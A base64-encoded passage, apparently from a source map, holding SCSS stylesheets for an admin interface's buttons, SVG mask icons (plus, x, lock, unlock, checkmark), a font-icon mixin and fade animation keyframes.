4O1xuICAgIC8vICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgLy8gICBvcGFjaXR5OiAxO1xuICAgIC8vICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYWxsIDE1MG1zKTtcbiAgICAvLyB9XG4gICAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgICBidXR0b24ge1xuICAgICAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgICB9XG4gICAgJjpub3QoOmhvdmVyKSB7XG4gICAgICBidXR0b24ge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0LS1ldmlkO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIGlucHV0LFxuICAgICAgYnV0dG9uIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgICAmOmhhcyhidXR0b24uYWN0aXZlKSB7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zbG4tYnRuLS1uZXcsXG4uc2xuLWJ0bi5zbG4tYnRuLS1uZXcge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2U7XG5cbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4wNSk7XG4gICAgfVxuICB9XG4gICY6bm90KC5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsKTpub3QoLnNsbi1idG4tLWJvcmRlcm9ubHkyNSkge1xuICAgIGJvcmRlcjogbm9uZTtcbiAgfVxuICAmLnNsbi1idG4tLXRleHRvbmx5IHtcbiAgICBmb250LXNpemU6IDFyZW07XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluLS1kMTtcbiAgICAmOm5vdCguc2xuLWNhbGVuZGFyX19yb3dfX2J1dHRvbikgeyAgXG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICB9XG4gICAgfVxuICB9XG4gICYuc2xuLWNhbGVuZGFyX19yb3dfX2J1dHRvbiB7XG4gICAgLy8gYm9yZGVyOiAycHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3Byb2JsZW0tLWxpZ2h0O1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICAvLyBiYWNrZ3JvdW5kLWNvbG9yOiBkYXJrZW4oYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodCwgMjUlKTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3IuYWRqdXN0KGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQsICRsaWdodG5lc3M6IC01MCUpO1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1saWdodDtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zbG4tYXNzaXN0YW50LW1vZGUge1xuICAuc2xuLWNhbGVuZGFyX19yb3dfX2J1dHRvbi5vbmx5b25lIHtcbiAgICBtYXJnaW4tdG9wOiA1MHB4O1xuICB9XG59XG5cbi5zbG4taWNvbi0tbmV3IHtcbiAgJi5zbG4taWNvbi0tbGVmdCB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG4gICAgZ2FwOiAwLjVyZW07XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IHN0YXJ0O1xuICB9XG4gICY6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2UtaW4tb3V0O1xuICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgfVxufVxuLnNsbi1pY29ub25seS1uZXcge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWRhcmtlc3Q7XG4gICY6OmFmdGVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tZGFya2VzdDtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgIHRyYW5zaXRpb246IGFsbCAxNTBtcyBlYXNlLWluLW91dDtcbiAgfVxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjI1KTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4taWNvbi0tbmV3LS1wbHVzIHsgXG4gICY6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICB3aWR0aDogMS4yNWVtO1xuICAgIGhlaWdodDogMS4yNWVtO1xuICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzInIGhlaWdodD0nMzInIHZpZXdCb3g9JzAgMCAzMiAzMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTE2IDJWMzBNMiAxNkgzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzInIGhlaWdodD0nMzInIHZpZXdCb3g9JzAgMCAzMiAzMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTE2IDJWMzBNMiAxNkgzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXNpemU6IGNvbnRhaW47XG4gICAgbWFzay1zaXplOiBjb250YWluO1xuICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgIG1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgfVxuICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHdpZHRoOiAxLjc1cmVtO1xuICAgICAgaGVpZ2h0OiAxLjc1cmVtO1xuICAgIH1cbiAgfVxufVxuLnNsbi1pY29uLS1uZXctLXggeyBcbiAgJjo6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHdpZHRoOiAxLjI1ZW07XG4gICAgaGVpZ2h0OiAxLjI1ZW07XG4gICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczMicgaGVpZ2h0PSczMicgdmlld0JveD0nMCAwIDMyIDMyJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTYgMlYzME0yIDE2SDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSczMicgaGVpZ2h0PSczMicgdmlld0JveD0nMCAwIDMyIDMyJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTYgMlYzME0yIDE2SDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuXG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxKSByb3RhdGUoNDVkZWcpO1xuICAgIHRyYW5zaXRpb246IGFsbCAxNTBtcyBlYXNlLWluLW91dDtcbiAgfVxuICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHdpZHRoOiAxLjc1cmVtO1xuICAgICAgaGVpZ2h0OiAxLjc1cmVtO1xuICAgIH1cbiAgfVxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMjUpIHJvdGF0ZSg0NWRlZyk7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG4uc2xuLWljb24tLW5ldy0tbG9jayB7IFxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgd2lkdGg6IDEuMjVlbTtcbiAgICBoZWlnaHQ6IDEuMjVlbTtcbiAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzM2JyBoZWlnaHQ9JzM4JyB2aWV3Qm94PScwIDAgMzYgMzgnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J005LjI1IDE3LjI1VjEwLjI1QzkuMjUgNy45MjkzNiAxMC4xNzE5IDUuNzAzNzYgMTEuODEyOCA0LjA2MjgyQzEzLjQ1MzggMi40MjE4NyAxNS42Nzk0IDEuNSAxOCAxLjVDMjAuMzIwNiAxLjUgMjIuNTQ2MiAyLjQyMTg3IDI0LjE4NzIgNC4wNjI4MkMyNS44MjgxIDUuNzAzNzYgMjYuNzUgNy45MjkzNiAyNi43NSAxMC4yNVYxNy4yNU01Ljc1IDE3LjI1SDMwLjI1QzMyLjE4MyAxNy4yNSAzMy43NSAxOC44MTcgMzMuNzUgMjAuNzVWMzNDMzMuNzUgMzQuOTMzIDMyLjE4MyAzNi41IDMwLjI1IDM2LjVINS43NUMzLjgxNyAzNi41IDIuMjUgMzQuOTMzIDIuMjUgMzNWMjAuNzVDMi4yNSAxOC44MTcgMy44MTcgMTcuMjUgNS43NSAxNy4yNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzM2JyBoZWlnaHQ9JzM4JyB2aWV3Qm94PScwIDAgMzYgMzgnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J005LjI1IDE3LjI1VjEwLjI1QzkuMjUgNy45MjkzNiAxMC4xNzE5IDUuNzAzNzYgMTEuODEyOCA0LjA2MjgyQzEzLjQ1MzggMi40MjE4NyAxNS42Nzk0IDEuNSAxOCAxLjVDMjAuMzIwNiAxLjUgMjIuNTQ2MiAyLjQyMTg3IDI0LjE4NzIgNC4wNjI4MkMyNS44MjgxIDUuNzAzNzYgMjYuNzUgNy45MjkzNiAyNi43NSAxMC4yNVYxNy4yNU01Ljc1IDE3LjI1SDMwLjI1QzMyLjE4MyAxNy4yNSAzMy43NSAxOC44MTcgMzMuNzUgMjAuNzVWMzNDMzMuNzUgMzQuOTMzIDMyLjE4MyAzNi41IDMwLjI1IDM2LjVINS43NUMzLjgxNyAzNi41IDIuMjUgMzQuOTMzIDIuMjUgMzNWMjAuNzVDMi4yNSAxOC44MTcgMy44MTcgMTcuMjUgNS43NSAxNy4yNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgIC13ZWJraXQtbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICBtYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIC13ZWJraXQtbWFzay1zaXplOiBjb250YWluO1xuICAgIG1hc2stc2l6ZTogY29udGFpbjtcbiAgICAtd2Via2l0LW1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgICBtYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gIH1cbiAgJi5zbG4taWNvbm9ubHktbmV3IHtcbiAgICAmOjphZnRlciB7XG4gICAgICB3aWR0aDogMnJlbTtcbiAgICAgIGhlaWdodDogMnJlbTtcbiAgICB9XG4gIH1cbn1cbi5zbG4taWNvbi0tbmV3LS11bmxvY2sge1xuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgd2lkdGg6IDEuMjVlbTtcbiAgICBoZWlnaHQ6IDEuMjVlbTtcbiAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzIwJyBoZWlnaHQ9JzIwJyB2aWV3Qm94PScwIDAgMjAgMjAnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J001LjgzMzMzIDkuMTY2MzFWNS44MzI5N0M1LjgzMjI5IDQuNzk5NjggNi4yMTUyMyAzLjgwMjg2IDYuOTA3ODEgMy4wMzYwM0M3LjYwMDM5IDIuMjY5MiA4LjU1MzE5IDEuNzg3MDYgOS41ODEyNSAxLjY4MzIxQzEwLjYwOTMgMS41NzkzNyAxMS42MzkzIDEuODYxMjMgMTIuNDcxMiAyLjQ3NDA3QzEzLjMwMzIgMy4wODY5MSAxMy44Nzc3IDMuOTg3MDEgMTQuMDgzMyA0Ljk5OTY0TTQuMTY2NjcgOS4xNjYzMUgxNS44MzMzQzE2Ljc1MzggOS4xNjYzMSAxNy41IDkuOTEyNSAxNy41IDEwLjgzM1YxNi42NjYzQzE3LjUgMTcuNTg2OCAxNi43NTM4IDE4LjMzMyAxNS44MzMzIDE4LjMzM0g0LjE2NjY3QzMuMjQ2MTkgMTguMzMzIDIuNSAxNy41ODY4IDIuNSAxNi42NjYzVjEwLjgzM0MyLjUgOS45MTI1IDMuMjQ2MTkgOS4xNjYzMSA0LjE2NjY3IDkuMTY2MzFaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPScyMCcgaGVpZ2h0PScyMCcgdmlld0JveD0nMCAwIDIwIDIwJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNNS44MzMzMyA5LjE2NjMxVjUuODMyOTdDNS44MzIyOSA0Ljc5OTY4IDYuMjE1MjMgMy44MDI4NiA2LjkwNzgxIDMuMDM2MDNDNy42MDAzOSAyLjI2OTIgOC41NTMxOSAxLjc4NzA2IDkuNTgxMjUgMS42ODMyMUMxMC42MDkzIDEuNTc5MzcgMTEuNjM5MyAxLjg2MTIzIDEyLjQ3MTIgMi40NzQwN0MxMy4zMDMyIDMuMDg2OTEgMTMuODc3NyAzLjk4NzAxIDE0LjA4MzMgNC45OTk2NE00LjE2NjY3IDkuMTY2MzFIMTUuODMzM0MxNi43NTM4IDkuMTY2MzEgMTcuNSA5LjkxMjUgMTcuNSAxMC44MzNWMTYuNjY2M0MxNy41IDE3LjU4NjggMTYuNzUzOCAxOC4zMzMgMTUuODMzMyAxOC4zMzNINC4xNjY2N0MzLjI0NjE5IDE4LjMzMyAyLjUgMTcuNTg2OCAyLjUgMTYuNjY2M1YxMC44MzNDMi41IDkuOTEyNSAzLjI0NjE5IDkuMTY2MzEgNC4xNjY2NyA5LjE2NjMxWicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXNpemU6IGNvbnRhaW47XG4gICAgbWFzay1zaXplOiBjb250YWluO1xuICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgIG1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgfVxuICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgaGVpZ2h0OiAycmVtO1xuICAgIH1cbiAgfVxufVxuXG4uc2xuLWljb24tLW5ldy0tY2hlY2ttYXJrICB7XG4gICY6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICB3aWR0aDogMS4yNWVtO1xuICAgIGhlaWdodDogMS4yNWVtO1xuICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzYnIGhlaWdodD0nMjYnIHZpZXdCb3g9JzAgMCAzNiAyNicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTM0IDJMMTIgMjRMMiAxNCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzYnIGhlaWdodD0nMjYnIHZpZXdCb3g9JzAgMCAzNiAyNicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTM0IDJMMTIgMjRMMiAxNCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXNpemU6IGNvbnRhaW47XG4gICAgbWFzay1zaXplOiBjb250YWluO1xuICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgIG1hc2stcG9zaXRpb246IGNlbnRlcjtcbiAgfVxuICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgaGVpZ2h0OiAycmVtO1xuICAgIH1cbiAgfVxuICAmLnJlbW92ZS1ob2x5ZGF5cyB7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgY29udGVudDogJyc7XG4gICAgICB3aWR0aDogMS4yNWVtO1xuICAgICAgaGVpZ2h0OiAxLjI1ZW07XG4gICAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzIwJyBoZWlnaHQ9JzIwJyB2aWV3Qm94PScwIDAgMjAgMjAnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J001LjgzMzMzIDkuMTY2MzFWNS44MzI5N0M1LjgzMjI5IDQuNzk5NjggNi4yMTUyMyAzLjgwMjg2IDYuOTA3ODEgMy4wMzYwM0M3LjYwMDM5IDIuMjY5MiA4LjU1MzE5IDEuNzg3MDYgOS41ODEyNSAxLjY4MzIxQzEwLjYwOTMgMS41NzkzNyAxMS42MzkzIDEuODYxMjMgMTIuNDcxMiAyLjQ3NDA3QzEzLjMwMzIgMy4wODY5MSAxMy44Nzc3IDMuOTg3MDEgMTQuMDgzMyA0Ljk5OTY0TTQuMTY2NjcgOS4xNjYzMUgxNS44MzMzQzE2Ljc1MzggOS4xNjYzMSAxNy41IDkuOTEyNSAxNy41IDEwLjgzM1YxNi42NjYzQzE3LjUgMTcuNTg2OCAxNi43NTM4IDE4LjMzMyAxNS44MzMzIDE4LjMzM0g0LjE2NjY3QzMuMjQ2MTkgMTguMzMzIDIuNSAxNy41ODY4IDIuNSAxNi42NjYzVjEwLjgzM0MyLjUgOS45MTI1IDMuMjQ2MTkgOS4xNjYzMSA0LjE2NjY3IDkuMTY2MzFaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzIwJyBoZWlnaHQ9JzIwJyB2aWV3Qm94PScwIDAgMjAgMjAnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J001LjgzMzMzIDkuMTY2MzFWNS44MzI5N0M1LjgzMjI5IDQuNzk5NjggNi4yMTUyMyAzLjgwMjg2IDYuOTA3ODEgMy4wMzYwM0M3LjYwMDM5IDIuMjY5MiA4LjU1MzE5IDEuNzg3MDYgOS41ODEyNSAxLjY4MzIxQzEwLjYwOTMgMS41NzkzNyAxMS42MzkzIDEuODYxMjMgMTIuNDcxMiAyLjQ3NDA3QzEzLjMwMzIgMy4wODY5MSAxMy44Nzc3IDMuOTg3MDEgMTQuMDgzMyA0Ljk5OTY0TTQuMTY2NjcgOS4xNjYzMUgxNS44MzMzQzE2Ljc1MzggOS4xNjYzMSAxNy41IDkuOTEyNSAxNy41IDEwLjgzM1YxNi42NjYzQzE3LjUgMTcuNTg2OCAxNi43NTM4IDE4LjMzMyAxNS44MzMzIDE4LjMzM0g0LjE2NjY3QzMuMjQ2MTkgMTguMzMzIDIuNSAxNy41ODY4IDIuNSAxNi42NjYzVjEwLjgzM0MyLjUgOS45MTI1IDMuMjQ2MTkgOS4xNjYzMSA0LjE2NjY3IDkuMTY2MzFaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgIC13ZWJraXQtbWFzay1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICAgIG1hc2stc2l6ZTogY29udGFpbjtcbiAgICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgIH1cbiAgfVxufSIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcbkB1c2UgXCIuLi9jb2xvcnMtbnVcIjtcbkB1c2UgXCIuLi90eXBvLWFkbWluXCI7XG5cbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcblxuQG1peGluIGZvbnQtaWNvbi0tbSgkZm9udFNpemU6IG51bGwpIHtcblx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRmb250LXdlaWdodDogOTAwO1xuXHRsaW5lLWhlaWdodDogMTtcblx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0dGV4dC10cmFuc2Zvcm06IG5vbmU7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0d29yZC13cmFwOiBub3JtYWw7XG5cdGRpcmVjdGlvbjogbHRyO1xuXHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdGZvbnQtc2l6ZTogJGZvbnRTaXplO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRsaW5lLWhlaWdodDogMDtcblx0fVxufVxuQGtleWZyYW1lcyBmYWRlT3V0IHtcblx0ZnJvbSB7XG5cdFx0b3BhY2l0eTogMTtcblx0XHRwb2ludGVyLWV2ZW50czogYXV0bztcblx0fVxuXHQ5MCUge1xuXHRcdG9wYWNpdHk6IDE7XG5cdFx0cG9pbnRlci1ldmVudHM6IGF1dG87XG5cdH1cblx0dG8ge1xuXHRcdG9wYWNpdHk6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdH1cbn1cbkBrZXlmcmFtZXMgZmFkZUluT3V0IHtcblx0ZnJvbSB7XG5cdFx0b3BhY2l0eTogMDtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0fVxuXHQyMCUge1xuXHRcdG9wYWNpdHk6IDE7XG5cdFx0cG9pbnRlci1ldmVudHM6IGF1dG87XG5cdH1cblx0OTAlIHtcblx0XHRvcGFjaXR5OiAxO1xuXHRcdHBvaW50